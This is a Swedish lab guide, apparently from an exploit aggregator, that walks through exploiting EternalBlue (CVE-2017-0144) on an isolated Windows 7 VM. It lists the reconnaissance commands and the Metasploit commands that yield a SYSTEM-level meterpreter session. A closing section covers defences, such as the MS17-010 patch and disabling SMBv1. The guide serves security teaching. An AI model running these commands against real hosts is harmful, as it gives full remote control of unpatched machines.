Share
## https://sploitus.com/exploit?id=FF857FCA-900F-5970-B55B-81DE5BDEEC27
# Lab Guide: Exploatering av CVE-2017-0144 (EternalBlue)

Denna guide demonstrerar sÄrbarheten **CVE-2017-0144**, mer kÀnd som **EternalBlue**. Denna exploit utnyttjar en brist i Microsofts implementering av SMBv1-protokollet och blev vÀrldsberömd genom ransomware-attacken **WannaCry**.

> [!WARNING]
> **Ansvarsfriskrivning:** Denna guide Àr endast för utbildningsÀndamÄl i en kontrollerad miljö. Utför aldrig penetrationstester eller exploits pÄ system du inte har uttryckligt skriftligt tillstÄnd att testa.

---

## 🏗 Labmiljö & Material

För att Äterskapa sÄrbarheten pÄ ett sÀkert sÀtt anvÀnds en isolerad miljö i VirtualBox. Detta sÀkerstÀller att ingen trafik eller skadlig kod lÀmnar labbmiljön.

| Komponent | Detaljer | KĂ€lla |
| :--- | :--- | :--- |
| **Target** | Windows 7 Ultimate SP1 (x64) | [Archive.org](https://archive.org/details/win-7-ult-sp-1-english-x-64) |
| **Attacker** | Kali Linux (2025.3) | [Kali.org](https://www.kali.org/get-kali/#kali-virtual-machines) |
| **Hypervisor** | Oracle VirtualBox | [VirtualBox.org](https://www.virtualbox.org/wiki/Downloads) |

### NĂ€tverkskonfiguration
BÄda maskinerna stÀlls in pÄ **Host-Only Adapter** för att isolera dem frÄn internet men tillÄta kommunikation mellan varandra.
* `Högerklicka pÄ VM -> Settings -> Network -> Adapter 1 -> Attached to: Host-only Adapter`.




---

## 1. Förberedelser

### Konfigurera Windows 7 (Target)
Efter installationen mÄste Windows-brandvÀggen inaktiveras för att simulera en sÄrbar miljö utan externa skyddslager.
1. GĂ„ till `Control Panel` -> `System and Security` -> `Windows Firewall`.
2. VÀlj `Turn Windows Firewall on or off` och stÀll in pÄ **Off**.


  
  
  


### Konfigurera Kali Linux (Attacker)
Logga in med standarduppgifterna `kali` / `kali`. Det Àr viktigt att tid och tidszon stÀmmer för korrekt loggning.
1. Öppna **Time and Date Settings**.
2. LÄs upp instÀllningarna och stÀll in rÀtt tidszon (t.ex. Europe/Stockholm).







---

## 2. Informationsinsamling & Scanning

### Identifiera Attacker IP
Kontrollera din egen IP-adress i Kali-terminalen:
`ip a`




### NÀtverksupptÀckt (Reconnaissance)
Vi anvÀnder netdiscover för att identifiera mÄlets IP-adress pÄ nÀtverket:
`sudo netdiscover`





### Scanning med Nmap
Nu har vi tre olika IP adresser och behöver köra en scanning för att bekrÀfta operativsystem och öppna portar (speciellt port 445 för SMB):

`sudo nmap -O 192.168.56.1 192.168.56.100 192.168.56.101`





Detta talar för oss att `192.168.56.1` och `192.168.56.100` Àr ointressanta.





Dock vi lyckades identifiera `192.168.56.101` som vÄr target med detaljerad information om öppna portar och operativsystem.






---

## 3. Exploatering med Metasploit
Nu anvÀnder vi Metasploit Framework för att utnyttja sÄrbarheten.

Starta Metasploit: `msfconsole`





VĂ€lj modul: `use exploit/windows/smb/ms17_010_eternalblue`





SÀtt mÄl-IP: `set RHOSTS 192.168.56.101`





SĂ€tt lyssnar-interface: `set LHOST eth0`





Kör exploiten: `run`





NÀr vi ser meterpreter > har vi lyckats fÄ en session.

---

## 4. Post-Exploatering
Vi kan nu kontrollera vÄra rÀttigheter:

`shell`

`whoami`





Resultatet `nt authority\system` bekrÀftar att vi har fullstÀndig kontroll över systemet.


### Demonstrationsmeddelande
För att visa intrÄnget visuellt kan vi skicka ett meddelande direkt till offrets skÀrm:

`msg * "Du har blivit Hackad!"`





---

---

## đŸ›Ąïž Hur man skyddar sig

Att förstÄ hur man ÄtgÀrdar sÄrbarheter Àr en av de viktigaste fÀrdigheterna för en sÀkerhetsexpert. För att effektivt skydda ett nÀtverk mot **EternalBlue** och liknande exploateringar bör följande ÄtgÀrder prioriteras:

> [!IMPORTANT]
> **Patch Management:** Den absolut viktigaste ÄtgÀrden Àr att installera sÀkerhetsuppdateringen **MS17-010**. Detta tÀpper till sjÀlva hÄlet som EternalBlue utnyttjar.

### Rekommenderade sÀkerhetsÄtgÀrder:

* **Inaktivera SMBv1:** En gammal och osÀker protokoll. Den bör inaktiveras helt via *Windows Features* eller Group Policy till förmÄn för SMBv2 eller SMBv3.
* **HÀrda Windows BrandvÀggen:** SÀkerstÀll att port **445** (SMB) Àr blockerad för inkommande trafik frÄn externa eller osÀkra nÀtverk.
* **Modernisera Infrastrukturen:** Om möjligt uppgradera till moderna operativsystem som Windows 10/11. Dessa har inbyggda skydd (t.ex. *Control Flow Guard*) som gör minneskorruption mycket svÄrare att utnyttja.
* **NÀtverkssegmentering:** Isolera kritiska system sÄ att en eventuell infektion inte kan sprider sig i nÀtverket.

---

### 🔗 Kontakt & NĂ€tverk
**Tack för att du tog dig tid att lÀsa min guide!** Om du har frÄgor, vill diskutera it-sÀkerhet eller ser möjligheter för samarbete, tveka inte att höra av dig.

[**Besök min profil pÄ LinkedIn**](https://www.linkedin.com/in/althany)

---